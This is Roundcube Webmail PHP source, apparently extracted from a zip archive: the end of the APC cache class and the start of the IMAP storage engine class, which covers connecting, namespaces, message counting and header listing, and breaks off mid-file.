 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Interface implementation class for accessing APC cache
 *
 * @package    Framework
 * @subpackage Cache
 */
class rcube_cache_apc extends rcube_cache
{
    /**
     * Indicates if APC module is enabled and in a required version
     *
     * @var bool
     */
    protected $enabled;

    public function __construct($userid, $prefix = '', $ttl = 0, $packed = true, $indexed = false)
    {
        parent::__construct($userid, $prefix, $ttl, $packed, $indexed);

        $rcube = rcube::get_instance();

        $this->type    = 'apc';
        $this->enabled = function_exists('apc_exists'); // APC 3.1.4 required
        $this->debug   = $rcube->config->get('apc_debug');
    }

    /**
     * Remove cache records older than ttl
     */
    public function expunge()
    {
        // No need for GC, entries are expunged automatically
    }

    /**
     * Remove expired records of all caches
     */
    public static function gc()
    {
        // No need for GC, entries are expunged automatically
    }

    /**
     * Reads cache entry.
     *
     * @param string $key Cache internal key name
     *
     * @return mixed Cached value
     */
    protected function get_item($key)
    {
        if (!$this->enabled) {
            return false;
        }

        $data = apc_fetch($key);

        if ($this->debug) {
            $this->debug('get', $key, $data);
        }

        return $data;
    }

    /**
     * Adds entry into memcache/apc/redis DB.
     *
     * @param string $key  Cache internal key name
     * @param mixed  $data Serialized cache data
     *
     * @return bool True on success, False on failure
     */
    protected function add_item($key, $data)
    {
        if (!$this->enabled) {
            return false;
        }

        if (apc_exists($key)) {
            apc_delete($key);
        }

        $result = apc_store($key, $data, $this->ttl);

        if ($this->debug) {
            $this->debug('set', $key, $data, $result);
        }

        return $result;
    }

    /**
     * Deletes entry from memcache/apc/redis DB.
     *
     * @param string $key Cache internal key name
     *
     * @return bool True on success, False on failure
     */
    protected function delete_item($key)
    {
        if (!$this->enabled) {
            return false;
        }

        $result = apc_delete($key);

        if ($this->debug) {
            $this->debug('delete', $key, null, $result);
        }

        return $result;
    }
}
PK
h�\�'�RqYqY$program/lib/Roundcube/rcube_imap.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   IMAP Storage Engine                                                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Interface class for accessing an IMAP server
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_imap extends rcube_storage
{
    /**
     * Instance of rcube_imap_generic
     *
     * @var rcube_imap_generic
     */
    public $conn;

    /**
     * Instance of rcube_imap_cache
     *
     * @var rcube_imap_cache
     */
    protected $mcache;

    /**
     * Instance of rcube_cache
     *
     * @var rcube_cache
     */
    protected $cache;

    protected $plugins;
    protected $delimiter;
    protected $namespace;
    protected $struct_charset;
    protected $search_set;
    protected $search_string     = '';
    protected $search_charset    = '';
    protected $search_sort_field = '';
    protected $search_threads    = false;
    protected $search_sorted     = false;
    protected $sort_field        = '';
    protected $sort_order        = 'DESC';
    protected $options           = ['auth_type' => 'check', 'skip_deleted' => false];
    protected $caching           = false;
    protected $messages_caching  = false;
    protected $threading         = false;
    protected $connect_done      = false;
    protected $list_excludes     = [];
    protected $list_root;
    protected $msg_uid;
    protected $sort_folder_collator;


    /**
     * Object constructor.
     */
    public function __construct()
    {
        $this->conn    = new rcube_imap_generic();
        $this->plugins = rcube::get_instance()->plugins;

        // Set namespace and delimiter from session,
        // so some methods would work before connection
        if (isset($_SESSION['imap_namespace'])) {
            $this->namespace = $_SESSION['imap_namespace'];
        }
        if (isset($_SESSION['imap_delimiter'])) {
            $this->delimiter = $_SESSION['imap_delimiter'];
        }
        if (!empty($_SESSION['imap_list_conf'])) {
            list($this->list_root, $this->list_excludes) = $_SESSION['imap_list_conf'];
        }
    }

    /**
     * Magic getter for backward compat.
     *
     * @deprecated
     */
    public function __get($name)
    {
        if (isset($this->{$name})) {
            return $this->{$name};
        }
    }

    /**
     * Connect to an IMAP server
     *
     * @param string $host    Host to connect
     * @param string $user    Username for IMAP account
     * @param string $pass    Password for IMAP account
     * @param int    $port    Port to connect to
     * @param string $use_ssl SSL schema (either ssl or tls) or null if plain connection
     *
     * @return bool True on success, False on failure
     */
    public function connect($host, $user, $pass, $port = 143, $use_ssl = null)
    {
        // check for OpenSSL support in PHP build
        if ($use_ssl && extension_loaded('openssl')) {
            $this->options['ssl_mode'] = $use_ssl == 'imaps' ? 'ssl' : $use_ssl;
        }
        else if ($use_ssl) {
            rcube::raise_error([
                    'code' => 403, 'type' => 'imap',
                    'file' => __FILE__, 'line' => __LINE__,
                    'message' => "OpenSSL not available"
                ], true, false);

            $port = 143;
        }

        $this->options['port'] = $port;

        if (!empty($this->options['debug'])) {
            $this->set_debug(true);

            $this->options['ident'] = [
                'name'    => 'Roundcube',
                'version' => RCUBE_VERSION,
                'php'     => PHP_VERSION,
                'os'      => PHP_OS,
                'command' => $_SERVER['REQUEST_URI'] ?? '',
            ];
        }

        $attempt = 0;
        do {
            $data = [
                'host'    => $host,
                'user'    => $user,
                'attempt' => ++$attempt,
                'retry'   => false
            ];

            $data = $this->plugins->exec_hook('storage_connect', array_merge($this->options, $data));

            if ($attempt > 1 && !$data['retry']) {
                break;
            }

            if (!empty($data['pass'])) {
                $pass = $data['pass'];
            }

            // Handle per-host socket options
            if (isset($data['socket_options'])) {
                rcube_utils::parse_socket_options($data['socket_options'], $data['host']);
            }

            $this->conn->connect($data['host'], $data['user'], $pass, $data);
        } while(!$this->conn->connected() && $data['retry']);

        $config = [
            'host'     => $data['host'],
            'user'     => $data['user'],
            'password' => $pass,
            'port'     => $port,
            'ssl'      => $use_ssl,
        ];

        $this->options      = array_merge($this->options, $config);
        $this->connect_done = true;

        if ($this->conn->connected()) {
            // check for session identifier
            $session = null;
            if (preg_match('/\s+SESSIONID=([^=\s]+)/', $this->conn->result, $m)) {
                $session = $m[1];
            }

            // get namespace and delimiter
            $this->set_env();

            // trigger post-connect hook
            $this->plugins->exec_hook('storage_connected', [
                    'host' => $host, 'user' => $user, 'session' => $session
            ]);

            return true;
        }
        // write error log
        else if ($this->conn->error) {
            if ($pass && $user) {
                $message = sprintf("Login failed for %s against %s from %s. %s",
                    $user, $host, rcube_utils::remote_ip(), $this->conn->error);

                rcube::raise_error([
                        'code' => 403, 'type' => 'imap',
                        'file' => __FILE__, 'line' => __LINE__,
                        'message' => $message
                    ], true, false);
            }
        }

        return false;
    }

    /**
     * Close IMAP connection.
     * Usually done on script shutdown
     */
    public function close()
    {
        $this->connect_done = false;
        $this->conn->closeConnection();

        if ($this->mcache) {
            $this->mcache->close();
        }
    }

    /**
     * Check connection state, connect if not connected.
     *
     * @return bool Connection state.
     */
    public function check_connection()
    {
        // Establish connection if it wasn't done yet
        if (!$this->connect_done && !empty($this->options['user'])) {
            return $this->connect(
                $this->options['host'],
                $this->options['user'],
                $this->options['password'],
                $this->options['port'],
                $this->options['ssl']
            );
        }

        return $this->is_connected();
    }

    /**
     * Checks IMAP connection.
     *
     * @return bool True on success, False on failure
     */
    public function is_connected()
    {
        return $this->conn->connected();
    }

    /**
     * Returns code of last error
     *
     * @return int Error code
     */
    public function get_error_code()
    {
        return $this->conn->errornum;
    }

    /**
     * Returns text of last error
     *
     * @return string Error string
     */
    public function get_error_str()
    {
        return $this->conn->error;
    }

    /**
     * Returns code of last command response
     *
     * @return int Response code
     */
    public function get_response_code()
    {
        switch ($this->conn->resultcode) {
            case 'NOPERM':
                return self::NOPERM;
            case 'READ-ONLY':
                return self::READONLY;
            case 'TRYCREATE':
                return self::TRYCREATE;
            case 'INUSE':
                return self::INUSE;
            case 'OVERQUOTA':
                return self::OVERQUOTA;
            case 'ALREADYEXISTS':
                return self::ALREADYEXISTS;
            case 'NONEXISTENT':
                return self::NONEXISTENT;
            case 'CONTACTADMIN':
                return self::CONTACTADMIN;
            default:
                return self::UNKNOWN;
        }
    }

    /**
     * Activate/deactivate debug mode
     *
     * @param bool $dbg True if IMAP conversation should be logged
     */
    public function set_debug($dbg = true)
    {
        $this->options['debug'] = $dbg;
        $this->conn->setDebug($dbg, [$this, 'debug_handler']);
    }

    /**
     * Set internal folder reference.
     * All operations will be performed on this folder.
     *
     * @param string $folder Folder name
     */
    public function set_folder($folder)
    {
        $this->folder = $folder;
    }

    /**
     * Save a search result for future message listing methods
     *
     * @param array $set Search set, result from rcube_imap::get_search_set():
     *                   0 - searching criteria, string
     *                   1 - search result, rcube_result_index|rcube_result_thread
     *                   2 - searching character set, string
     *                   3 - sorting field, string
     *                   4 - true if sorted, bool
     */
    public function set_search_set($set)
    {
        $set = (array) $set;

        $this->search_string     = $set[0] ?? null;
        $this->search_set        = $set[1] ?? null;
        $this->search_charset    = $set[2] ?? null;
        $this->search_sort_field = $set[3] ?? null;
        $this->search_sorted     = $set[4] ?? null;
        $this->search_threads    = is_a($this->search_set, 'rcube_result_thread');

        if (is_a($this->search_set, 'rcube_result_multifolder')) {
            $this->set_threading(false);
        }
    }

    /**
     * Return the saved search set as hash array
     *
     * @return array|null Search set
     */
    public function get_search_set()
    {
        if (empty($this->search_set)) {
            return null;
        }

        return [
            $this->search_string,
            $this->search_set,
            $this->search_charset,
            $this->search_sort_field,
            $this->search_sorted,
        ];
    }

    /**
     * Returns the IMAP server's capability.
     *
     * @param string $cap Capability name
     *
     * @return mixed Capability value or TRUE if supported, FALSE if not
     */
    public function get_capability($cap)
    {
        $cap      = strtoupper($cap);
        $sess_key = "STORAGE_$cap";

        if (!isset($_SESSION[$sess_key])) {
            if (!$this->check_connection()) {
                return false;
            }

            if ($cap == rcube_storage::DUAL_USE_FOLDERS) {
                $_SESSION[$sess_key] = $this->detect_dual_use_folders();
            }
            else {
                $_SESSION[$sess_key] = $this->conn->getCapability($cap);
            }
        }

        return $_SESSION[$sess_key];
    }

    /**
     * Checks the PERMANENTFLAGS capability of the current folder
     * and returns true if the given flag is supported by the IMAP server
     *
     * @param string $flag Permanentflag name
     *
     * @return bool True if this flag is supported
     */
    public function check_permflag($flag)
    {
        $flag       = strtoupper($flag);
        $perm_flags = $this->get_permflags($this->folder);
        $imap_flag  = $this->conn->flags[$flag];

        return $imap_flag && !empty($perm_flags) && in_array_nocase($imap_flag, $perm_flags);
    }

    /**
     * Returns PERMANENTFLAGS of the specified folder
     *
     * @param string $folder Folder name
     *
     * @return array Flags
     */
    public function get_permflags($folder)
    {
        if (!strlen($folder)) {
            return [];
        }

        if (!$this->check_connection()) {
            return [];
        }

        if ($this->conn->select($folder)) {
            $permflags = $this->conn->data['PERMANENTFLAGS'];
        }
        else {
            return [];
        }

        if (!isset($permflags) || !is_array($permflags)) {
            $permflags = [];
        }

        return $permflags;
    }

    /**
     * Returns the delimiter that is used by the IMAP server for folder separation
     *
     * @return string Delimiter string
     */
    public function get_hierarchy_delimiter()
    {
        return $this->delimiter;
    }

    /**
     * Get namespace
     *
     * @param string $name Namespace array index: personal, other, shared, prefix
     *
     * @return array Namespace data
     */
    public function get_namespace($name = null)
    {
        $ns = $this->namespace;

        if ($name) {
            // an alias for BC
            if ($name == 'prefix') {
                $name = 'prefix_in';
            }

            return $ns[$name] ?? null;
        }

        unset($ns['prefix_in'], $ns['prefix_out']);

        return $ns;
    }

    /**
     * Sets delimiter and namespaces
     */
    protected function set_env()
    {
        if ($this->delimiter !== null && $this->namespace !== null) {
            return;
        }

        $config         = rcube::get_instance()->config;
        $imap_personal  = $config->get('imap_ns_personal');
        $imap_other     = $config->get('imap_ns_other');
        $imap_shared    = $config->get('imap_ns_shared');
        $imap_delimiter = $config->get('imap_delimiter');

        if (!$this->check_connection()) {
            return;
        }

        $ns = $this->conn->getNamespace();

        // Set namespaces (NAMESPACE supported)
        if (is_array($ns)) {
            $this->namespace = $ns;
        }
        else {
            $this->namespace = [
                'personal' => null,
                'other'    => null,
                'shared'   => null,
            ];
        }

        if ($imap_delimiter) {
            $this->delimiter = $imap_delimiter;
        }
        if (empty($this->delimiter) && !empty($this->namespace['personal'][0][1])) {
            $this->delimiter = $this->namespace['personal'][0][1];
        }
        if (empty($this->delimiter)) {
            $this->delimiter = $this->conn->getHierarchyDelimiter();
        }
        if (empty($this->delimiter)) {
            $this->delimiter = '/';
        }

        $this->list_root     = null;
        $this->list_excludes = [];

        // Overwrite namespaces
        if ($imap_personal !== null) {
            $this->namespace['personal'] = null;
            foreach ((array) $imap_personal as $dir) {
                $this->namespace['personal'][] = [$dir, $this->delimiter];
            }
        }

        if ($imap_other === false) {
            foreach ((array) $this->namespace['other'] as $dir) {
                if (is_array($dir) && !empty($dir[0])) {
                    $this->list_excludes[] = $dir[0];
                }
            }

            $this->namespace['other'] = null;
        }
        else if ($imap_other !== null) {
            $this->namespace['other'] = null;
            foreach ((array) $imap_other as $dir) {
                if ($dir) {
                    $this->namespace['other'][] = [$dir, $this->delimiter];
                }
            }
        }

        if ($imap_shared === false) {
            foreach ((array) $this->namespace['shared'] as $dir) {
                if (is_array($dir) && !empty($dir[0])) {
                    $this->list_excludes[] = $dir[0];
                }
            }

            $this->namespace['shared'] = null;
        }
        else if ($imap_shared !== null) {
            $this->namespace['shared'] = null;
            foreach ((array) $imap_shared as $dir) {
                if ($dir) {
                    $this->namespace['shared'][] = [$dir, $this->delimiter];
                }
            }
        }

        // Performance optimization for case where we have no shared/other namespace
        // and personal namespace has one prefix (#5073)
        // In such a case we can tell the server to return only content of the
        // specified folder in LIST/LSUB, no post-filtering
        if (empty($this->namespace['other']) && empty($this->namespace['shared'])
            && !empty($this->namespace['personal']) && count($this->namespace['personal']) === 1
            && strlen($this->namespace['personal'][0][0]) > 1
        ) {
            $this->list_root     = $this->namespace['personal'][0][0];
            $this->list_excludes = [];
        }

        // Find personal namespace prefix(es) for self::mod_folder()
        if (!empty($this->namespace['personal']) && is_array($this->namespace['personal'])) {
            // There can be more than one namespace root,
            // - for prefix_out get the first one but only
            //   if there is only one root
            // - for prefix_in get the first one but only
            //   if there is no non-prefixed namespace root (#5403)
            $roots = [];
            foreach ($this->namespace['personal'] as $ns) {
                $roots[] = $ns[0];
            }

            if (!in_array('', $roots)) {
                $this->namespace['prefix_in'] = $roots[0];
            }
            if (count($roots) == 1) {
                $this->namespace['prefix_out'] = $roots[0];
            }
        }

        $_SESSION['imap_namespace'] = $this->namespace;
        $_SESSION['imap_delimiter'] = $this->delimiter;
        $_SESSION['imap_list_conf'] = [$this->list_root, $this->list_excludes];
    }

    /**
     * Returns IMAP server vendor name
     *
     * @return string Vendor name
     * @since 1.2
     */
    public function get_vendor()
    {
        if (isset($_SESSION['imap_vendor'])) {
            return $_SESSION['imap_vendor'];
        }

        $config      = rcube::get_instance()->config;
        $imap_vendor = $config->get('imap_vendor');

        if ($imap_vendor) {
            return $imap_vendor;
        }

        if (!$this->check_connection()) {
            return;
        }

        if (isset($this->conn->data['ID'])) {
            $ident = $this->conn->data['ID'];
        }
        else if ($this->get_capability('ID')) {
            $ident = $this->conn->id([
                    'name'    => 'Roundcube',
                    'version' => RCUBE_VERSION,
                    'php'     => PHP_VERSION,
                    'os'      => PHP_OS,
            ]);
        }
        else {
            $ident = null;
        }

        $vendor  = (string) (!empty($ident) ? $ident['name'] : '');
        $ident   = strtolower($vendor . ' ' . $this->conn->data['GREETING']);
        $vendors = ['cyrus', 'dovecot', 'uw-imap', 'gimap', 'hmail', 'greenmail'];

        foreach ($vendors as $v) {
            if (strpos($ident, $v) !== false) {
                $vendor = $v;
                break;
            }
        }

        return $_SESSION['imap_vendor'] = $vendor;
    }

    /**
     * Get message count for a specific folder
     *
     * @param string $folder  Folder name
     * @param string $mode    Mode for count [ALL|THREADS|UNSEEN|RECENT|EXISTS]
     * @param bool   $force   Force reading from server and update cache
     * @param bool   $status  Enables storing folder status info (max UID/count),
     *                        required for folder_status()
     *
     * @return int Number of messages
     */
    public function count($folder = '', $mode = 'ALL', $force = false, $status = true)
    {
        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        return $this->countmessages($folder, $mode, $force, $status);
    }

    /**
     * Protected method for getting number of messages
     *
     * @param string $folder    Folder name
     * @param string $mode      Mode for count [ALL|THREADS|UNSEEN|RECENT|EXISTS]
     * @param bool   $force     Force reading from server and update cache
     * @param bool   $status    Enables storing folder status info (max UID/count),
     *                          required for folder_status()
     * @param bool   $no_search Ignore current search result
     *
     * @return int Number of messages
     * @see rcube_imap::count()
     */
    protected function countmessages($folder, $mode = 'ALL', $force = false, $status = true, $no_search = false)
    {
        $mode = strtoupper($mode);

        // Count search set, assume search set is always up-to-date (don't check $force flag)
        // @TODO: this could be handled in more reliable way, e.g. a separate method
        //        maybe in rcube_imap_search
        if (!$no_search && $this->search_string && $folder == $this->folder) {
            if ($mode == 'ALL') {
                return $this->search_set->count_messages();
            }
            if ($mode == 'THREADS') {
                return $this->search_set->count();
            }
        }

        // EXISTS is a special alias for ALL, it allows to get the number
        // of all messages in a folder also when search is active and with
        // any skip_deleted setting

        $a_folder_cache = $this->get_cache('messagecount');

        // return cached value
        if (!$force && isset($a_folder_cache[$folder][$mode])) {
            return $a_folder_cache[$folder][$mode];
        }

        if (!isset($a_folder_cache[$folder]) || !is_array($a_folder_cache[$folder])) {
            $a_folder_cache[$folder] = [];
        }

        if ($mode == 'THREADS') {
            $res   = $this->threads($folder);
            $count = $res->count();

            if ($status) {
                $msg_count = $res->count_messages();
                $this->set_folder_stats($folder, 'cnt', $msg_count);
                $this->set_folder_stats($folder, 'maxuid', $msg_count ? $this->id2uid($msg_count, $folder) : 0);
            }
        }
        // Need connection here
        else if (!$this->check_connection()) {
            return 0;
        }
        // RECENT count is fetched a bit different
        else if ($mode == 'RECENT') {
            $count = $this->conn->countRecent($folder);
        }
        // use SEARCH for message counting
        else if ($mode != 'EXISTS' && !empty($this->options['skip_deleted'])) {
            $search_str = "ALL UNDELETED";
            $keys       = ['COUNT'];

            if ($mode == 'UNSEEN') {
                $search_str .= " UNSEEN";
            }
            else {
                if ($this->messages_caching) {
                    $keys[] = 'ALL';
                }
                if ($status) {
                    $keys[] = 'MAX';
                }
            }

            // @TODO: if $mode == 'ALL' we could try to use cache index here

            // get message count using (E)SEARCH
            // not very performant but more precise (using UNDELETED)
            $index = $this->conn->search($folder, $search_str, true, $keys);
            $count = $index->count();

            if ($mode == 'ALL') {
                // Cache index data, will be used in index_direct()
                $this->icache['undeleted_idx'] = $index;

                if ($status) {
                    $this->set_folder_stats($folder, 'cnt', $count);
                    $this->set_folder_stats($folder, 'maxuid', $index->max());
                }
            }
        }
        else {
            if ($mode == 'UNSEEN') {
                $count = $this->conn->countUnseen($folder);
            }
            else {
                $count = $this->conn->countMessages($folder);
                if ($status && $mode == 'ALL') {
                    $this->set_folder_stats($folder, 'cnt', $count);
                    $this->set_folder_stats($folder, 'maxuid', $count ? $this->id2uid($count, $folder) : 0);
                }
            }
        }

        $count = (int) $count;

        if (!isset($a_folder_cache[$folder][$mode]) || $a_folder_cache[$folder][$mode] !== $count) {
            $a_folder_cache[$folder][$mode] = $count;

            // write back to cache
            $this->update_cache('messagecount', $a_folder_cache);
        }

        return $count;
    }

    /**
     * Public method for listing message flags
     *
     * @param string $folder  Folder name
     * @param array  $uids    Message UIDs
     * @param int    $mod_seq Optional MODSEQ value (of last flag update)
     *
     * @return array Indexed array with message flags
     */
    public function list_flags($folder, $uids, $mod_seq = null)
    {
        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        if (!$this->check_connection()) {
            return [];
        }

        // @TODO: when cache was synchronized in this request
        // we might already have asked for flag updates, use it.

        $flags  = $this->conn->fetch($folder, $uids, true, ['FLAGS'], $mod_seq);
        $result = [];

        if (!empty($flags)) {
            foreach ($flags as $message) {
                $result[$message->uid] = $message->flags;
            }
        }

        return $result;
    }

    /**
     * Public method for listing headers
     *
     * @param string $folder     Folder name
     * @param int    $page       Current page to list
     * @param string $sort_field Header field to sort by
     * @param string $sort_order Sort order [ASC|DESC]
     * @param int    $slice      Number of slice items to extract from result array
     *
     * @return array Indexed array with message header objects
     */
    public function list_messages($folder = '', $page = null, $sort_field = null, $sort_order = null, $slice = 0)
    {
        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        return $this->_list_messages($folder, $page, $sort_field, $sort_order, $slice);
    }

    /**
     * protected method for listing message headers
     *
     * @param   string   $folder     Folder name
     * @param   int      $page       Current page to list
     * @param   string   $sort_field Header field to sort by
     * @param   string   $sort_order Sort order [ASC|DESC]
     * @param   int      $slice      Number of slice items to extract from result array
     *
     * @return array Indexed array with message header objects
     * @see rcube_imap::list_messages
     */
    protected function _list_messages($folder = '', $page = null, $sort_field = null, $sort_order = null, $slice = 0)
    {
        if (!is_string($folder) || !strlen($folder)) {
            return [];
        }

        $this->set_sort_order($sort_field, $sort_order);
        $page = $page ?: $this->list_page;

        // use saved message set
        if ($this->search_string) {
            return $this->list_search_messages($folder, $page, $slice);
        }

        if ($this->threading) {
            return $this->list_thread_messages($folder, $page, $slice);
        }

        // get UIDs of all messages in the folder, sorted
        $index = $this->index($folder, $this->sort_field, $this->sort_order);

        if ($index->is_empty()) {
            return [];
        }

        $from = ($page-1) * $this->page_size;
        $to   = $from + $this->page_size;

        $index->slice($from, $to - $from);

        if ($slice) {
            $index->slice(-$slice, $slice);
        }

        // fetch requested messages headers
        $a_index = $index->get();
        $a_msg_headers = $this->fetch_headers($folder, $a_index);

        return array_values($a_msg_headers);
    }

    /**
     * protected method for listing message headers using threads
     *
     * @param string $folder Folder name
     * @param int    $page   Current page to list
     * @param int    $slice  Number of slice items to extract from result array
     *
     * @return array Indexed array with message header objects
     * @see rcube_imap::list_messages
     */
    protected function list_thread_messages($folder, $page, $slice = 0)
    {
        // get all threads (not sorted)
        if ($mcache = $this->get_mcache_engine()) {
            $threads = $mcache->get_thread($folder);
        }
        else {
            $threads = $this->threads($folder);
        }

        return $this->fetch_thread_headers($folder, $threads, $page, $slice);
    }

    /**
     * Method for fetching threads data
     *
     * @param string $folder Folder name
     *
     * @return rcube_result_thread Thread data object
     */
    function threads($folder)
    {
        if ($mcache = $this->get_mcache_engine()) {
            // don't store in self's internal cache, cache has it's own internal cache
            return $mcache->get_thread($folder);
        }

        if (!empty($this->icache['threads'])) {
            if ($this->icache['threads']->get_parameters('MAILBOX') == $folder) {
                return $this->icache['threads'];
            }
        }

        // get all threads
        $result = $this->threads_direct($folder);

        // add to internal (fast) cache
        return $this->icache['threads'] = $result;
    }

    /**
     * Method for direct fetching of threads data
     *
     * @param string $folder Folder name
     *
     * @return rcube_result_thread Thread data object
     */
    function threads_direct($folder)
    {
        if (!$this->check_connection()) {
            return new rcube_result_thread();
        }

        // get all threads
        return $this->conn->thread($folder, $this->threading,
            $this->options['skip_deleted'] ? 'UNDELETED' : '', true);
    }

    /**
     * protected method for fetching threaded messages headers
     *
     * @param string              $folder     Folder name
     * @param rcube_result_thread $threads    Threads data object
     * @param int                 $page       List page number
     * @param int                 $slice      Number of threads to slice
     *
     * @return array Messages headers
     */
    protected function fetch_thread_headers($folder, $threads, $page, $slice = 0)
    {
        // Sort thread structure
        $this->sort_threads($threads);

        $from = ($page-1) * $this->page_size;
        $to   = $from + $this->page_size;

        $threads->slice($from, $to - $from);

        if ($slice) {
            $threads->slice(-$slice, $slice);
        }

        // Get UIDs of all messages in all threads
        $a_index = $threads->get();

        // fetch requested headers from server
        $a_msg_headers = $this->fetch_headers($folder, $a_index);

        unset($a_index);

        // Set depth, has_children and unread_children fields in headers
        $this->set_thread_flags($a_msg_headers, $threads);

        return array_values($a_msg_headers);
    }

    /**
     * protected method for setting threaded messages flags:
     * depth, has_children, unread_children, flagged_children
     *
     * @param array               $headers  Reference to headers array indexed by message UID
     * @param rcube_result_thread $threads  Threads data object
     *
     * @return array Message headers array indexed by message UID
     */
    protected function set_thread_flags(&$headers, $threads)
    {
        $parents = [];

        list($msg_depth, $msg_children) = $threads->get_thread_data();

        foreach ($headers as $uid => $header) {
            $depth = $msg_depth[$uid] ?? 0;
            $parents = array_slice($parents, 0, $depth);

            if (!empty($parents)) {
                $headers[$uid]->parent_uid = end($parents);
                if (empty($header->flags['SEEN'])) {
                    $headers[$parents[0]]->unread_children++;
                }
                if (!empty($header->flags['FLAGGED'])) {
                    $headers[$parents[0]]->flagged_children++;
                }
            }

            array_push($parents, $uid);

            $headers[$uid]->depth            = $depth;
            $headers[$uid]->has_children     = !empty($msg_children[$uid]);
            $headers[$uid]->unread_children  = 0;
            $headers[$uid]->flagged_children = 0;
        }
    }

    /**
     * A protected method for listing a set of message headers (search results)
     *
     * @param string $folder Folder name
     * @param int    $page   Current page to list
     * @param int    $slice  Number of slice items to extract from the result array
     *
     * @return array Indexed array with message header objects
     */
    protected function list_search_messages($folder, $page, $slice = 0)
    {
        if (!is_string($folder) || !strlen($folder) || empty($this->search_set) || $this->search_set->is_empty()) {
            return [];
        }

        $from = ($page-1) * $this->page_size;

        // gather messages from a multi-folder search
        if (!empty($this->search_set->multi)) {
            $page_size  = $this->page_size;
            $sort_field = $this->sort_field;
            $search_set = $this->search_set;

            // fetch resultset headers, sort and slice them
            if (!empty($sort_field) && $search_set->get_parameters('SORT') != $sort_field) {
                $this->sort_field = null;
                $this->page_size  = 1000;  // fetch up to 1000 matching messages per folder
                $this->threading  = false;

                $a_msg_headers = [];
                foreach ($search_set->sets as $resultset) {
                    if (!$resultset->is_empty()) {
                        $this->search_set     = $resultset;
                        $this->search_threads = $resultset instanceof rcube_result_thread;

                        $a_headers     =  $this->list_search_messages($resultset->get_parameters('MAILBOX'), 1);
                        $a_msg_headers = array_merge($a_msg_headers, $a_headers);
                        unset($a_headers);
                    }
                }

                // sort headers
                if (!empty($a_msg_headers)) {
                    $a_msg_headers = rcube_imap_generic::sortHeaders($a_msg_headers, $sort_field, $this->sort_order);
                }

                // store (sorted) message index
                $search_set->set_message_index($a_msg_headers, $sort_field, $this->sort_order);

                // only return the requested part of the set
                $a_msg_headers = array_slice(array_values($a_msg_headers), $from, $page_size);
            }
            else {
                if ($this->sort_order != $search_set->get_parameters('ORDER')) {
                    $search_set->revert();
                }

                // slice resultset first...
                $index = array_slice($search_set->get(), $from, $page_size);
                $fetch = [];

                foreach ($index as $msg_id) {
                    list($uid, $folder) = explode('-', $msg_id, 2);
                    $fetch[$folder][] = $uid;
                }

                // ... and fetch the requested set of headers
                $a_msg_headers = [];
                foreach ($fetch as $folder => $a_index) {
                    $a_msg_headers = array_merge($a_msg_headers, array_values($this->fetch_headers($folder, $a_index)));
                }

                // Re-sort the result according to the original search set order
                usort($a_msg_headers, function($a, $b) use ($index) {
                    return array_search($a->uid . '-' . $a->folder, $index) - array_search($b->uid . '-' . $b->folder, $index);
                });
            }

            if ($slice) {
                $a_msg_headers = array_slice($a_msg_headers, -$slice, $slice);
            }

            // restore members
            $this->sort_field = $sort_field;
            $this->page_size  = $page_size;
            $this->search_set = $search_set;

            return $a_msg_headers;
        }

        // use saved messages from searching
        if ($this->threading) {
            return $this->list_search_thread_messages($folder, $page, $slice);
        }

        // search set is threaded, we need a new one
        if ($this->search_threads) {
            $this->search('', $this->search_string, $this->search_charset, $this->sort_field);
        }

        $index = clone $this->search_set;

        // return empty array if no messages found
        if ($index->is_empty()) {
            return [];
        }

        // quickest method (default sorting)
        if (!$this->search_sort_field && !$this->sort_field) {
            $got_index = true;
        }
        // sorted messages, so we can first slice array and then fetch only wanted headers
        else if ($this->search_sorted) { // SORT searching result
            $got_index = true;
            // reset search set if sorting field has been changed
            if ($this->sort_field && $this->search_sort_field != $this->sort_field) {
                $this->search('', $this->search_string, $this->search_charset, $this->sort_field);

                $index = clone $this->search_set;

                // return empty array if no messages found
                if ($index->is_empty()) {
                    return [];
                }
            }
        }

        if (!empty($got_index)) {
            if ($this->sort_order != $index->get_parameters('ORDER')) {
                $index->revert();
            }

            // get messages uids for one page
            $index->slice($from, $this->page_size);

            if ($slice) {
                $index->slice(-$slice, $slice);
            }

            // fetch headers
            $a_index       = $index->get();
            $a_msg_headers = $this->fetch_headers($folder, $a_index);

            return array_values($a_msg_headers);
        }

        // SEARCH result, need sorting
        $cnt = $index->count();

        // 300: experimental value for best result
        if (($cnt > 300 && $cnt > $this->page_size) || !$this->sort_field) {
            // use memory less expensive (and quick) method for big result set
            $index = clone $this->index('', $this->sort_field, $this->sort_order);
            // get messages uids for one page...
            $index->slice($from, $this->page_size);

            if ($slice) {
                $index->slice(-$slice, $slice);
            }

            // ...and fetch headers
            $a_index       = $index->get();
            $a_msg_headers = $this->fetch_headers($folder, $a_index);

            return array_values($a_msg_headers);
        }
        else {
            // for small result set we can fetch all messages headers
            $a_index       = $index->get();
            $a_msg_headers = $this->fetch_headers($folder, $a_index, false);

            // return empty array if no messages found
            if (!is_array($a_msg_headers) || empty($a_msg_headers)) {
                return [];
            }

            // if not already sorted
            $a_msg_headers = rcube_imap_generic::sortHeaders(
                $a_msg_headers, $this->sort_field, $this->sort_order);

            $a_msg_headers = array_slice(array_values($a_msg_headers), $from, $this->page_size);

            if ($slice) {
                $a_msg_headers = array_slice($a_msg_headers, -$slice, $slice);
            }

            return $a_msg_headers;
        }
    }

    /**
     * protected method for listing a set of threaded message headers (search results)
     *
     * @param   string   $folder     Folder name
     * @param   int      $page       Current page to list
     * @param   int      $slice      Number of slice items to extract from result array
     *
     * @return array Indexed array with message header objects
     * @see rcube_imap::list_search_messages()
     */
    protected function list_search_thread_messages($folder, $page, $slice = 0)
    {
